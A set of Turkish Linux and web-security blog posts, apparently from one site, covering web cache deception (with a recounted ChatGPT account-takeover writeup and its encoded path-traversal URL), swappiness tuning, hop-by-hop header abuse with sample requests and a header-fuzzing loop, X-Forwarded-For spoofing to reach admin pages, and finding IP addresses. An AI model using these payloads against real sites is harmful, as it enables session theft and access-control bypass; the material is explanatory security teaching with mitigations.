Örneğin linuxdersleri.net adresinin reverse proxy sayesinde önbellek tuttuğunu düşünelim. Kullanıcılar linuxdersleri.net/hesap sayfasını ziyaret ettiklerinde, mevcut kullanıcıya ait hesap bilgilerinin dinamik web sunucusu tarafında üretilip kullanıcıya sunuluyor olsun. Bu durumda tabii ki bu içerik dinamik olarak her kullanıcıya özel olacağı için önbellekte tutulmayacaktır.

Önbellekte tutulan veriler statik yani değişmeyen ve hassas bilgi bulundurmayan türdeki dosyalar olacaktır. Örneğin aşağıdaki türde dosyalar genellikle statik olarak kabul edilip önbellekte tutulurlar.

aif, aiff, au, avi, bin, bmp, cab, carb, cct, cdf, class, css, doc, dcr, dtd, gcf, gff, gif, grv, hdml, hqx, ico, ini, jpeg, jpg, js, mov, mp3, nc, pct, ppc, pws, swa, swf, txt, vbs, w32, wav, wbmp, wml, wmlc, wmls, wmlsc, xsd, zip

Yani örneğin linuxdersleri.net/tasarım.css adresindeki .css dosyası statik içeriğe sahip olduğu için önbelleğe alınabilir. Ayrıca var olmayan bir dizin adresine gidildiğinde otomatik olarak var olan bir üst dizindeki adresin içeriğini getiriyor olsun.

Örneğin ben linuxdersleri.net/hesap/olmayan.css adresine gittiğimde, linuxdersleri.net/hesap adresindeki içerik sunulacaktır. Aynı zamanda bu adres .css uzantısı ile bittiği için bu döndürülen içerik tam olarak bu adreste önbelleğe alınacaktır. Çünkü;

1- Kullanıcı tarayıcı üzerinden linuxdersleri.net/hesap/olmayan.css adresini ziyaret eder.

2- Client ile server arasında CDN proxy bulunduğu için bu GET isteği öncelikle proxy’e iletilir. Proxy, tanımlanmış olan cache konfigürasyonları dolayısıyla .css uzantılı bağlantıları önbellekte tutacağı için, sunucunun yanıtını önbellekte tutmak üzere bekler.

3- Web sunucusu böyle bir adres olmadığı için linuxdersleri.net/hesap adresinin içeriğini döndürür. Ayrıca bu aşamada bu sayfanın aslında önbelleğe alınmaması talimatını veren HTTP başlıkları(örneğin:cache-control: no-cache) da sunucu tarafından HTTP yanıtında iletilir.

4- Sunucunun yanıtı öncelikle aradaki proxy’e iletilir.

5- Proxy, adresin sonunda “.css” uzantısı olduğu için kendi konfigürasyonları gereği bu yanıtın önbelleğe alınmasını sağlar. Bu aşamada HTTP yanıtında yer alan önbelleğe alınmaması belirtilen başlıklar görmezden gelinir.(Her zaman öyle olur demiyorum, yalnızca bu hatalı konfigürasyonda böyler olur)

6- Böylelikle aslında linuxdersleri.net/hesap adresinde kullanıcıya özel olarak üretilmiş olan veriler, linuxdersleri.net/hesap/olmayan.css adresi adresinde önbellek olarak saklanmış olur. Bu adresi ziyaret eden herkes önbelleğe alınan kullanıcı hesap bilgilerine erişebilir.

Tabii ki bu zafiyetin yaşanması için aşağıdaki koşulların sağlanması gerekir.

1- Önbelleğe alan mekanizmanın, yanıtta bulunan HTTP önbellek başlıklarını(Cache-Control, expires, etag, Last-Modified vb..) dikkate almıyor olması gerekir.

2- Önbelleğe alınan verinin türüne bakılmaksızın önbelleğe alınmalı.

3- Web sunucusunun hatalı bağlantılara yanıt olarak geçerli ve kritik bilgi(csrf token, api key veya kişisel veri vb..) barındıran sayfaların içeriğini döndürmesi gerekir.

Bu durumu çözmek için de:

1- Önbellekleme yapan mekanizma üzerinde; yalnızca URL uzantısında yer alan .css vb eklere değil, sunucu tarafından gelen HTTP yanıtında yer alan cache header(Cache-Control, expires, etag, Last-Modified vb..) yani önbellek başlıklarını dikkate alacak şekilde konfigürasyon yapılmalı.

2- Önbelleğe alınan veri içeriğinin gerçekten .css veya örneğin .png dosyası olup olmadığı kontrol edilebilir.

3- Web sunucusunun linuxdersleri.net/hesap/olmayan.css gibi sayfalar için bir önceki adres olan /hesap içeriğini döndürmeyecek şekilde yapılandırılabilir. Bu gibi durumlarda 404 veya 302 ile standart zararsız yanıtların gönderilmesi gerekir.

Ortaya çıkması için gereken birden fazla hatalı konfigürasyonun olması gerektiği için, bu tür bir zafiyetin yaygın olduğunu söylemek doğru olmayabilir. Yine de anlatılanları pekiştirmek üzere somut bir örnek üzerinden gitmek için buradaki writeup’ı kısaca ele alabiliriz.

ChatGPT Account Takeover

Araştırmacı ChatGPT üzerinde bulunan “paylaşım” özelliği sayesinde mevcut mesajların URL üzerinden herkese açık şekilde paylaşılabildiğini ve bu URL adresinin önbelleğe kaydedildiğini(Cf-Cache-Status: HIT başlığı sayesinde) fark etmiş.

Aşağıdaki URL statik bir içerik uzantısına(.css .png .js vb..) sahip olmamasına rağmen önbelleğe alındığını, sunucu yanıtındaki CF-Cache-Status: HIT başlığından teyit etmiş.

https://chat.openai.com/share/CHAT-UUID

Bu, muhtemelen dosyanın uzantısına değil, URL’nin yolundaki konumuna bağlı olan bir önbellek kuralının bulunduğu anlamına geliyor. Bu varsayımı test etmek için https://chat.openai.com/share/random-path-that-does-not-exist adresini kontrol etmiş ve beklendiği gibi bu adresin de önbelleğe alındığını görmüş.

Dolayısıyla önbelleğe alma kuralının /share/* gibi bir URL yolu kuralına bağlı olduğunu teyit etmiş. Bu dizin altında riskli bir veri barındıran nokta olmadığı için, bu dizin adresini manipüle ederek risk teşkil edecek dizinlerin önbelleğe alınmasını sağlamak üzere “path traversal” kullanmış.

Path Traversal Confusion

Önbellek mekanizmasını kullan websiteleri, önbellekleme işi için genellikle CDN hizmetlerinden faydalanır.

ChatGPT’nin de CDN olarak Cloudflare kullanıldığını HTTP yanıt mesajındaki Cf-Cache-Status başlığı sayesinde zaten biliyoruz. Bu durumda girilen URL adresi hem CDN hem de web sunucusu tarafında işleniyor. Dolayısıyla URL ayrıştırılması noktasında karışıklığa sebep olmak mümkün olabilir.

Test sırasında URL encode edilmiş / karakteri yani %2F karakterinin CDN tarafında decode edilmezken web sunucusu tarafında decode edildiğini fark etmiş araştırmacı. Dolayısıyla kritik öneme sahip api anahtarına giden yolun url encode şekilde sunucuya iletilerek önbelleğe alınmasını sağlamak mümkün olmuş. Çünkü CDN bu URL adresini aldığında path traversal gereği ilgili dizine geçiş yapmak yerine doğrudan bu URL adresini olduğu şekilde önbelleğe alarak muhafaze etmiş ve ChatGPT web sunucusuna aktarmış. Sunucu da bu URL adresini çözümleyip path traversal gereği ilgili api noktasındaki bilgileri getirip CDN önbelleğine bu yanıtın kaydedilmesini sağlamış.

Örneğin aşağıdaki url adresinde / karakteri URL encode şekilde yazıldığında:

https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123

• CDN /share/ dizini altındaki her şeyi önbelleğe aldığını biliyoruz
• CDN’in %2F..%2F karakterlerini decode etmediğini dolayısıyla URL adresi değiştirilmeden bu şekilde önbelleğe alınacağını biliyoruz. Eğer URL decode CDN tarafında yapılıyor olsa bu URL adresi /api/auth/session?cachebuster=123 halini alacağı için zaten hiç önbelleğe de alınmayacaktı.
• Web sunucusuna CDN tarafından iletilen bu /share/%2F..%2Fapi/auth/session?cachebuster=123 adresi decode edilip, /auth/session?cachebuster=123 olarak ele alınacak.

Dolayısıyla https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 adresini ziyaret eden kullanıcının api bilgisi önbelleğe kaydedilecek. Daha sonra aynı URL adresini ziyaret eden saldırgan bu önbellek yanıtı sayesinde CDN üzerinden döndürülen yanıtla api bilgisini elde etmiş olacak.

Resim kaynağı

Neticede kısaca ele aldığımız gibi “Web Cache Deception” eğer şartlar müsaitse fevkalade tehlikeli bir zafiyet.

İleri Okuma

• web-cache-deception-attack
• ChatGPT-ATO

Swappiness, sistemin swap alanını ne sıklıkla kullanacağını tanımlayan bir Linux çekirdek özelliğidir. Swappiness değeri 0 ile 100 arasında tanımlanabiliyor. Düşük bir değer, çekirdeğin swap kullanmaktan kaçınmaya çalışmasını sağlarken, yüksek bir değer çekirdeğin swap alanını daha agresif bir şekilde kullanmasını sağlıyor.

Varsayılan swappiness değeri 60’tır. Fakat sistem performansının ön planda olduğu durumlarda bu değeri düşürerek, disk yerine öncelikli olarak ram kullanımı öncelenebiliyor. Fakat swap kullanımının performans üzerindeki etkisi aslında her zaman bu kadar basit olmayabiliyor. Öncelikle bu değeri nasıl öğrenip değiştirebileceğimizden bahsedelim, daha sonra bu değerin hangi aralıkta olması gerektiğini sebepleriyle birlikte biraz daha detaylı inceleme gayretinde olacağız.

İlk olarak mevcut swappiness değerini kontrol edelim.

┌──(taylan㉿linuxdersleri)-[~]
└─$ cat /proc/sys/vm/swappiness 
60

Gördüğünüz gibi varsayılan değer “60” olarak gözüküyor. 60 swappiness değeri çoğu Linux sistemi için uygun olsa da, performansın ön planda olması gereken sunucularda daha düşük bir değer ayarlamanız gerekebiliyor.

Değişim için sistem çalışırken kernel yani çekirdek özelliklerini düzenlemeye imkan tanıyan sysctl aracını kullanabiliyoruz.

┌──(taylan㉿linuxdersleri)-[~]
└─$ sudo sysctl vm.swappiness=10
[sudo] password for taylan: 
vm.swappiness = 10

Bu değişiklik halihazırda çalışmakta olan çekirdek üzerinde geçerli oldu lakin sistem başlangıcında kalıcı olması için /etc/sysctl.conf dosyasına da eklememiz gerek. nano veya vim gibi bir editor ile dosyayı sudo yetkileri ile açıp aşağıdaki satırı ekleyip kaydetmeniz yeterli.

vm.swappiness=10

Böylelikle her sistem başlangıcında bu değer çekirdek tarafından tanınıyor olacak. Elbette ben örnek olarak 10 değerini tanımladım ancak sizin sisteminiz için optimum olan değeri deneme yanılma ve gözlem ile kendiniz bulmanız gerek. Fakat bundan önce bu değer ile gerçekten oynamaya ihtiyacınız olup olmadığı üzerinde durmak istiyorum. Bu sayede daha bilinçli kararlar alabiliriz.

Swappiness’i Değiştirelim Ama Ne Zaman ?

Çoğunlukla, swap kullanmanın kötü olduğu ve swappiness değerini düşürmezseniz sistemin gereksiz yere swap yapacağı varsayılır. Ancak, bu tam olarak doğru değil.

İnsanlar hatalı şekilde, swap kullanımı ile sistemin yavaşladığı zamanları birbiriyle ilişkilendiriyor. Dolayısıyla swap kullanmanın sistemin yavaşlattığını sanabiliyorlar. Oysa genellikle swap kullanılmasının nedeni, sistemin zaten yavaşlamış ve RAM üzerinde yeterince alan kalmamış olmasından gelir, tersi değil. Sistem, swap yapmanın performans maliyetini hesaplar ve bunu yapmamanın genel sistem performansı veya kararlılığı açısından daha büyük bir olumsuzluğa sebep olacağına karar verdiğinde swap alanını kullanır.

Genel olarak, varsayılan ayarlar yani “60” değeri çoğu sistem için iyi bir performans ve kararlılık sağlar. İstisnai durumlar hariç varsayılan ayarda bırakmanız bu sebeple tavsiye edilir. İlk ve en kolay akla gelen yöntem swapiness değişimi olsa da esasen Linux’un bellek yönetimini bazı uç durumlar için iyileştirmek için daha fazla yol olabilir. Swappiness ayarı ile bir sorunu çözebilirsiniz, ancak başka sorunlar(ansızın sonlandırılan süreçler ve dolayısıyla kararsız bir sistem) yaratmanız da fevkalade olası. Mümkünse, performans gerektiren sistem için daha fazla fiziksel RAM eklemesi(ve swappiness’i olduğu gibi bırakmak) diğer tüm çözümleri gölgede bırakır.

Neden böyle olduğunu daha net anlamak adına birkaç konudan daha kısaca bahsedelim.

Linux’un RAM Kullanımı

Uygulamalar tarafından kullanılmayan her RAM “önbellek” olarak kullanılabilir. Önbellek, hızlı ve sorunsuz çalışan bir sistem için önemlidir, disk okuma ve yazma işlemlerini hızlandırır. Ancak RAM’in sürekli işgal edilmesi ve sınırda kullanımı, standart kullanıcıları performans konusunda kaygılandırabiliyor. Fakat bu kaygının aksine, bu yaklaşım performans için mevcut.

Zaten sistem tasarımı gereği, uygulamalar bellek kullanımını artırarak neredeyse tüm RAM’inizi kullanma noktasına geldiğinde, önbelleğiniz küçülür ve ortalama olarak disk işlemleri de yavaşlar. Dolayısıyla günümüzde sadece onlarca megabayt veya daha az önbellek çoğu durumda yeterli değildir. Bu sebeple sistem boştayken veya yük altında değilken dahi fazla ram kullanıldığına şahit olabilirsiniz. Önbellek israf değil performanstır :)

Uygulamalar bellek kullanımını daha da artırırsa - ve swap alanınız yoksa - öncelikle önbellek kullanımından vazgeçilir, sonunda yine de bellek alanı yeterli gelmezse sisteminiz son çare olarak çalışan işlemleri(process) öldürmek zorunda kalır. Tahmin edebileceğini gibi işlemleri öldürmek, yavaşlamadan daha kötüdür çünkü bu size kararsız, öngörülemez bir sistem verir.

Linux’un Swap Kullanımı

Bu iki sorunu önlemek için sisteminiz nadiren kullanılan bazı uygulama belleklerini diskteki swap alanına yeniden tahsis edebilir, böylece RAM’i serbest bırakır. Bu yaklaşım, bellek tükenmesi nedeniyle işlemlerin ölmesini önleyebilir ve disk işlemlerinin daha sorunsuz çalışabilmesi için biraz önbellek geri kazandırabilir.

Yine de hangi noktada swap alanının kullanılabileceği biraz muğlaktır(en azından benim için, zira çekirdek tarafında birçok faktörü hesaba katan benim anlayamadığım “sihirli” bir algoritma mevcut). Yani swap alanın tam olarak ne zaman kullanılacağı dair kesin bir çizgi-sınır bulunmuyor. Eğer RAM üzerindeki baskı fazlaysa ve artma eğilimindeyse swap kullanımı sistem tarafından organize ediliyor.

İşte Linux sistemimiz yani aslında çekirdeğimiz de, bu baskının nasıl hesaplandığını ayarlamanıza yardımcı olan bir “swappiness” değerine sahiptir. Bu ayar genellikle yanlış bir şekilde “RAM yüzdesi” olarak temsil ediliyor, ancak bu sadece “sihirli” önceliklendirme algoritmasındaki formülün bir parçası olarak kullanılan bir değerdir. 40 ile 60 arasındaki değerler tavsiye edilen makul değerlerdir, 60 günümüzde varsayılan değerdir. Çekirdek sihrini gerçekleştirirken önceliklendirme bu değere göre yeniden ağırlıklandırır.

Bu bilgiler ışığında sisteminizin swap yapmasına izin vermek, çok fazla RAM’iniz olsa bile genel olarak iyi bir tercihtir. Sisteminizin swap yapmasına izin vermek, RAM miktarının yetersiz kaldığı durumlarda bile her şeyin çalışmaya devam etmesi için sisteme ikinci şans verir. Zaten gerekmedikçe swap alanı kullanılmayacaktır. Swap kullanmayı tamamen devre dışı bırakırsanız, bellek tahsis edememe nedeniyle işlemlerin öldürülme riskini alırsınız.

Sistem Yavaşlayıp Yoğun Bir Şekilde Swap Yaptığında Ne Olur?

Swap, yavaş ve maliyetli bir işlemdir(RAM ile standart diskler arasındaki korkunç okuma-yazma hızı farkı dolayısıyla), bu sebeple çoğu durumda çekirdek swap alanını kullanmaktan kaçınır. Ancak önbellek performansındaki ticaretin genel olarak bunu telafi edeceğine karar verirse veya işlemleri öldürmekten kaçınmak gerekiyorsa swap alanı kullanılır.

Çoğu zaman insanlar çok fazla swap alanı kullanan(dolayısıyla diskini yoğun bir şekilde kullanan) sistemlerine bakar ve bunun için swap yöntemini suçlar. Bu yanlış bir yaklaşımdır. Çünkü bu durum sisteminizdeki RAM miktarının yeterli olmadığına bir işarettir. Swap aslında burada sürekli olarak kurtarıcı rolünü üstlenir ve size “artık daha fazla RAM’e ihtiyacın var” mesajını açık şekilde iletir. Dolayısıyla çözüm için swap alanını suçlamak yerine sistemin size RAM için yalvardığının farkında olmanız doğru olacaktır. Zira swap olmasaydı, çalışan işlemleriniz rastgele şekilde ölüyor olacaktı.

Masaüstü Sistemler İçin Farklı Bir Yaklaşım Gerekmiyor Mu?

Masaüstü sistemi kullanıcıları, kullanıcı tarafından başlatılan eylemlere (bir uygulama açmak gibi) tepki olarak sistemin “hızlı” olmasını bekler, bu tür eylemler bazen swap tetikleyebilir.

Bazı insanlar bunu ayarlamak için swappiness değerini azaltır, bu da uygulamaların bellek kullanmasını ve düşük önbellek alanı ile çalışmasını sağlar.

Ancak bu sadece hedeflerin yerini değiştirir. İlk uygulama swap işlemi olmadan yüklenebilir, ancak sonraki uygulamanın yüklenmesi için daha az alan bırakır. Aynı swap işlemi sadece daha sonra, bir sonraki uygulamayı açtığınızda gerçekleşir. Bu arada, sistem performansı azalan önbellek boyutu nedeniyle daha düşüktür. Bu nedenle, swappiness ayarını azaltmanın herhangi bir faydası ölçülemez olabilir. Eğer ne yaptığınızı biliyorsanız kimi sistemler için Swappiness’i biraz azaltmak gerekli olabilir.

Yine de tekrar hatırlatmak gerekirse, swap kullanmayı tamamen devre dışı bırakmak, bellek tükenme koşullarına karşı ekstra koruma kaybına neden olur. Bu da mevcut işlemlerin çökmesine veya öldürülmesine neden olabilir.

En etkili çözüm, eğer karşılayabiliyorsanız, daha fazla RAM eklemektir.

Zaten Çok Fazla RAM Olan Bir Sistem Üzerinde Swap Devre Dışı Bırakılabilir Mi?

Eğer uygulamalar için gerekenden çok daha fazla RAM’iniz varsa, nadiren swap’a ihtiyaç duyarsınız. Bu nedenle, swap’ı devre dışı bırakmak normal şartlarda bir fark yaratmayacaktır. Ancak, çok fazla RAM’iniz varsa, swap’ı etkin bırakmak da bir handikap oluşturmaz çünkü sistem ihtiyaç duymadıkça swap alanını kullanmaz.

Swap’ın fark yaratacağı tek durum, sistemin bellek tükenmesi ve dolayısıyla önbellek sisteminin aksaması durumudur. Bu nedenle, swap’ı normal ayarlarda bırakmak, bol miktarda bellek olduğunda bile olumsuz bir etki yaratmadan ek bir güvenlik sağlar.

Swap Sistemi Hızlandırabilir mi? Swap Yapmak Yavaşlatmaz mı?

Verilerin RAM’den swap’a aktarılması yavaş bir işlemdir, ancak bu yalnızca çekirdek, makul bir önbellek boyutunu korumanın genel faydasının bunu aşacağını düşündüğünde yapılır. Sisteminiz disk sürücüsünde aşırı yavaşlama yaşıyorsa, swap bunu neden olmuyor, sadece hafifletmeye çalışıyor.

Veriler Swap’tan Ne Zaman Çıkar?

Belleğin herhangi bir parçası, kullanıldığı(okunduğunda veya yazıldığında) anda swap’tan çıkar. Ancak, genellikle swap yapılan bellek, uzun zamandır erişilmeyen ve yakın zamanda ihtiyaç duyulması beklenmeyen bellektir.

Disk okuma yazma kısıtlamaları dolayısıyla Swap’tan veri alıp okumak, oraya yazmak kadar zaman alır. Bu sebeple çekirdek buna ihtiyaç duymadıkça veriyi swap’tan çıkarmaz.

Swappiness’i Azaltmanın Uygun Olduğu Durumlar Var mı?

Evet. Sisteminizi belirli bir sunucu uygulamasına adadıysanız ve bu uygulama sistem önbelleğinden faydalanmıyorsa. Oracle server, MySQL/MariaDB gibi bazı veritabanı sunucuları, bazen swappiness’i 1-10 arasında düşürmeyi önerir çünkü bu veritabanı motorları kendi önbelleklerini kullanır.

Sisteminizin amacı kendi önbelleklerini kullanan ve sistem önbelleğinden faydalanmayan bir uygulama etrafında merkezlenmişse, swappiness’i düşürmek iyi bir fikir olabilir.

hop-by-hop Header Nedir ?

“hop-by-hop” başlık(header), bir HTTP isteğinin veya yanıtın yalnızca bir hop (sunucu veya istemci) üzerinde geçerli olduğu anlamına gelir. Bu başlıklar, istek veya yanıtın yalnızca bir ağ noktasından diğerine iletilmesi gereken bilgileri içerir.

end-to-end header olarak geçen istek veya yanıtlarda ise başlıklar baştan sonra aynı kalır.

HTTP/1.1, RFC 2612 gereği Keep-Alive, Transfer-Encoding, TE, Connection, Trailer, Upgrade, Proxy-Authorization ve  Proxy-Authenticate başlıklarını varsayılan olarak hop-by-hop başlıklar olarak kabul ediyor. Ayrıca ek başlıklar, Connection başlığı aracılığıyla hop-by-hop olarak belirtilebiliyor. Dolayısıyla HTTP/1.1 uyumlu bir proxy bu başlıkları içeren bir istek aldığında, başlığın gerektirdiği işlemi uygulayıp bu başlıkları bir sonraki “hop” yani atlama noktası olan proxy’e iletmemesi gerekiyor.

Connection: close, test1, test2

Yukarıdaki başlığı alan proxy, test1 ve test2 değerlerini hop-by-hop olarak ele aldığı için bir sonraki noktaya iletmeden önce bunları kaldırıyor. HTTP/1.1 de mevcut olan bu özellik sayesinde özelleştirilmiş hop-by-hop başlıklar oluşturabiliyoruz.

Hop-by-hop Başlıklarının Kötüye Kullanımı

HTTP isteklerinde başlıkları kaldırmak her zaman sorun teşkil etmese de, orijinal istekte bulunmayan ancak zincirdeki başka bir proxy tarafından eklenen başlıkları kaldırabilmek öngörülemeyen sonuçlar yaratabilir.

Örneğin eğer backend, aradaki proxy tarafından eklenen X-Important gibi bir başlığını bekleyip bu başlığa göre bir karar veriyorsa hop-by-hop başlığının kötüye kullanımı sorun yaratabilir.

Not: Tüm proxy’lerin Connection başlığına tepkileri aynı olmayabilir. Aradaki proxy Connection başlığına dokumadan bir sonraki noktaya da iletebilir. Bu durum, kullanılan teknolojilere bağlı farklı yorumlama-ele alınış sebebiyle gerçekleşebilir.

Hop-by-hop Başlıklarının Kötüye Kullanımını Test Etme

Test etmek için mevcut ve mevcut olmadığında yanıtta gözle görülür bir fark yaratan bir başlığı Connection ile hop-by-hop başlık olarak ekleyip yanıttaki farkı gözlemleyebiliriz.

Örneğin Cookie başlığı olmadığında yetki hatası döndürülüyorsa, Cookie başlığını Connection başlığında belirterek hop-by-hop başlığı olarak ele alınmasını sağlayın. Eğer yanıt olarak yetki hatası alırsanız, hop-by-hop olarak kabul edildiğini teyit etmiş olursunuz.

Cookie başlığı olan standart istek:

GET /api/me HTTP/1.1
Host: foo.bar
Cookie: session=xxx

Yanıt:

HTTP/1.1 200 OK

Cookie başlığı olmayan standart istek:

GET /api/me HTTP/1.1
Host: foo.bar

Yanıt:

HTTP/1.1 403 Forbidden

Hop-by-hop testi:

İstek:

GET /api/me HTTP/1.1
Host: foo.bar
Cookie: session=xxx
Connection: close, Cookie

Yanıt:

HTTP/1.1 403 Forbidden

Gördüğünüz gibi Cookie başlığı olmadığında aldığımız yanıtta olduğu gibi erişim yetkisi hatası aldık. Çünkü Connection başlığı hop-by-hop kabul edilip aradaki proxy tarafından Cookie değeri silindiği için nihai sunucuya bu başlık iletilmedi.

Ayrıca Burp Intruder veya buradaki script yardımıyla buradaki gibi bir başlık listesini kullanarak, orijinal istekte mevcut olmasa bile hangi başlıkların hop-by-hop olarak etkilendiğini gözlemleyebilirsiniz.

Örneğin ilgili scripti kullanmak için, bash kabuğunda aşağıdaki komutu girebilirsiniz:

for HEADER in $(cat headers.txt); do python poison-test.py -u "https://target" -x "$HEADER"; sleep 1; done

Bu komut, başlık listesindeki tüm başlıkları sırasıyla hop-by-hop olarak ekleyip başlıkların farklı bir durum kodu veya yanıt gövdesi boyutu oluşturup oluşturmadığını size bildirecektir. Bu sayede orijinal istekte olmasa bile hop-by-hop olarak ele alınan başlıkları keşfetmeniz mümkün olabilir.

Temel kavramlar ve tespiti için gereken yaklaşımdan bahsettiğimize göre bu tekniğin kullanılabileceği bazı alanlarından bahsederek devam edebiliriz.

X-Forwarded-For’u Gizleyerek Kaynak IP Adresini Maskeleme

Bir frontend proxy’si bir kullanıcı isteğini kabul ettiğinde, bu kullanıcının IP adresini X-Forwarded-For (XFF) başlığına ekleyebilir, böylece backend’deki altyapı ve uygulamalar istekte bulunan kullanıcının IP adresini bilebilir. Ancak proxy’lere bu başlığın hop-by-hop olduğu talimatını vererek, bu başlığı istekten kaldırabiliriz. Bu sayede backend uygulaması orijinal IP adresini bilemez.

İstekte zaten mevcut değilse, isteği gerçekleştiren IP adresini XFF başlığı ile uygulama sunucusuna aktaran bir load balancer proxy’nin bulunduğu durumda:

Örnek olarak, CDN > load balancer > app server durumundaki yapıyı düşünelim. Bu uygulama CDN arkasındaki load balancer’a güvendiği için doğrudan bu load balancer’dan gelen yerel bir IP aralığından (örneğin 10.1.2.3/24 gibi) gelen bir istekle karşılaşıldığında isteklere özel /admin adresine admin yetkisi tanıyor olsun.

Güvenilir bir load balancer’ın arkasında olduğu için uygulama, saldırgan X-Forwarded-For sahteciliği yapmaya çalışsa bile, CDN’in gerçek kaynak IP’yi başlığa ekleyeceğine güvenebilir. Gerçek IP adresinin nasıl eklenebileceği, kullanılan proxy çözümüne bağlı olarak değişebilir lakin buradaki XFF yazısı yardımcı olabilir. En nihayetinde istek X-Forwarded-For:<saldırgan sahte ip>, <gerçek saldırgan ip> gibi görünür, böylece uygulama sahtecilik girişimlerini güvenle halledebilir. Ancak, XFF başlığı uygulamaya ulaşmadan önce çıkarılıyorsa, ki bu bir saldırganın XFF‘yi hop-by-hop başlığı olarak eklemesi durumunda söz konusu olabilir, o zaman bir load balancer proxy X-Forwarded-For‘un yokluğuna, kendisinden önceki yük dengeleyicinin IP adresini talep eden IP (örn. 10.1.2.3) olarak alarak tepki verecek ve uygulamaya ulaşan son X-Forwarded-For değeri, başka hiçbir şey eklenmeden 10.1.2.3 olacaktır. Böyle bir uygulamada, bu istek /admin adresine erişim izni verecektir çünkü bu yerel bir adrestir.

Ayrıca XFF yerine isteğin IP kaynağını belirtmek için Forwarded, X-Real-IP gibi başlıklar da kullanılabilir.

Cache poisoning DoS

Eğer önbellek sunucusu, kendisine iletilen hop-by-hop başlığına dokunmadan bunu bir sonraki proxy’e yönlendirirse ve bu proxy de bu başlığı işleyip kaldırırsa ve bu durum 400 veya 501 gibi bir hataya sebep olursa: bu, uygulamanın önündeki web önbelleğinin, bu istenmeyen yanıtı diğer kullanıcılara hizmet verecek kopya olarak kabul etmeyi seçmesine neden olabilir ve bu nedenle, önbellek zehirlenmesi DoS ile karşı karşıya kalırız.

Rate Limit Bypass

Ayrıca kimi durumlarda X-Forwarded-For başlığı sayesinde istemcinin IP adresine bakarak rate limit uygulayan yapıları sahte X-Forwarded-For başlığı ile bypass etmek mümkün olabilir. Her istekte sahte bir IP adresi ile neredeyse sınırsız sayıda istek göndermek mümkün olabilir.

Kaynakça:

• Abusing HTTP hop-by-hop request headers

Local IP Adresini Öğrenmek

Eğer “local” ağınızdaki ip adresinizi öğrenmek isterseniz ip a komutunu kullanabilirsiniz.

┌──(taylan㉿linuxdersleri)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:95:bd:54 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
       valid_lft 86240sec preferred_lft 86240sec
    inet6 fe80::5614:84da:7a62:e798/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

Ben ethernet yani kablo ile internete bağlı olduğum için “eth0” arayüzündeki “inet” olarak belirtilmiş olan 10.0.2.15/24 adresi benim local ağımdaki ip adresimdir.

Public IP Adresini Öğrenmek

Eğer “public” yani dış ağdaki benzersiz ip adresinizi öğrenmek isterseniz, bunun için hizmet sunan bazı servislere curl aracı yardımıyla sorgu gönderebilirsiniz. Bazı örnekler aşağıdaki gibidir:

┌──(taylan㉿linuxdersleri)-[~]
└─$ curl ifconfig.me
151.126.45.155
┌──(taylan㉿linuxdersleri)-[~]
└─$ curl ifconfig.co
151.126.45.155

Gördüğünüz gibi yanıt olarak doğrudan mevcut makinenin public ip adresi konsola bastırıldı.

Esasen “local” ve “public” ip adresini öğrenmek için pek çok farklı yaklaşım olsa da, pratiklik açısından burada bahsedilen temel yaklaşımlar yeterli olacaktır.

Bu örnekte, backend uygulamasına(app server) ulaşan http istediğinde orijinal istemcinin IP adresi çoktan yok olmuştur. Bu duruma çözüm olarak X-Forwarded-For başlığını kullanabiliriz.

HTTP isteğinin geçtiği her bir proxy yani aslında her bir “hop” ilgili isteğin kimden geldiğini X-Forwarded-For başlığına sırasıyla ekleyip bir sonraki “hop” a aktarır. Örnek durumda XFF başlığı aşağıdaki gibidir.

X-Forwarded-For: 156.11.33.44, 110.30.10.101

IP adresleri, HTTP isteğinin geçtiği sunucuların sırasına göre soldan sağa doğru ekleniyor. Diğer bir deyişle proxy’ler aslında X-Forwarded-For başlığı ile “ben bu istediği XXX ip adresi adına sana iletiyorum” dermişçesine bir sonraki proxy’e iletiyor. Bu sayede isteklerin hangi kaynaklardan geldiğini anlamak mümkün oluyor.

Bu bilgi, hedef sunucunun, gelen isteklerin kaynağını doğru bir şekilde tanımlamasına yardımcı olur. Özellikle yük dengeleme, güvenlik duvarları, istemci IP tabanlı erişim kontrolü ve istatistiksel amaçlar gibi senaryolarda X-Forwarded-For başlığı kullanılabiliyor.

Peki X-Forwarded-For’a Güvenebilir Miyiz ?

Esasen kullanıcılardan gelen hiç bir girdiye körü körüne güvenemeyiz. Buna XFF gibi başlıklar da dahil elbette.

Örneğin bir isteğin, güvenli olarak kabul edilen şirket VPN’i veya şirket IP’si üzerinden geliyormuş gibi gösterilmesi mümkündür. Bu sebeple XFF başlığındaki IP adreslerinin kesin doğru bilgi içerdiği asla kabul edilmemeli.

Yukarıdaki gibi bir durumda, client 1.1.1.1 değerine sahip XFF başlığını içeren bir istek gönderiyor. Backend uygulaması, bu isteğin gerçekten istemcinin gerçek IP adresi olup olmadığını bilemez. Bu yüzden bunu görmezden gelmeli ve CDN altyapı hizmetimizin gördüğü istemci adresini (156.11.33.44) gerçek kaynak IP olarak ele almalıdır. Bu örnekte CDN servisi, kendisine gerçekleştirilen isteğin hangi ip adresinden geldiğini gördüğü için bunun bilgisini verebilir.

X-Forwarded-For başlığı üzerinde bir miktar kontrol kazanmanın bir yolu, güvenilir bir reverse proxy dahil etmek ve bu proxy dışında backend sunucusuna ve diğer proxy’lere/sunuculara/load balancer’lara ağ düzeyinde doğrudan erişimi devre dışı bırakmaktır. API geliştiricileri için bu genellikle bir API Getway tarafından gerçekleştirilir, ancak Fastly, Squid Proxy, Cloudflare vb. gibi bir CDN de olabilir. İstek güvenilir bir proxy aracılığıyla geliyorsa ve bu reverse proxy’nin kendisi saldırıya uğramamışsa, muhtemelen gördüğünüz IP zincirinin en azından bir kısmına inanma konusunda sorun yaşamazsınız. Ama bu ip zincirinin hangi kısmına güvenebiliriz ?

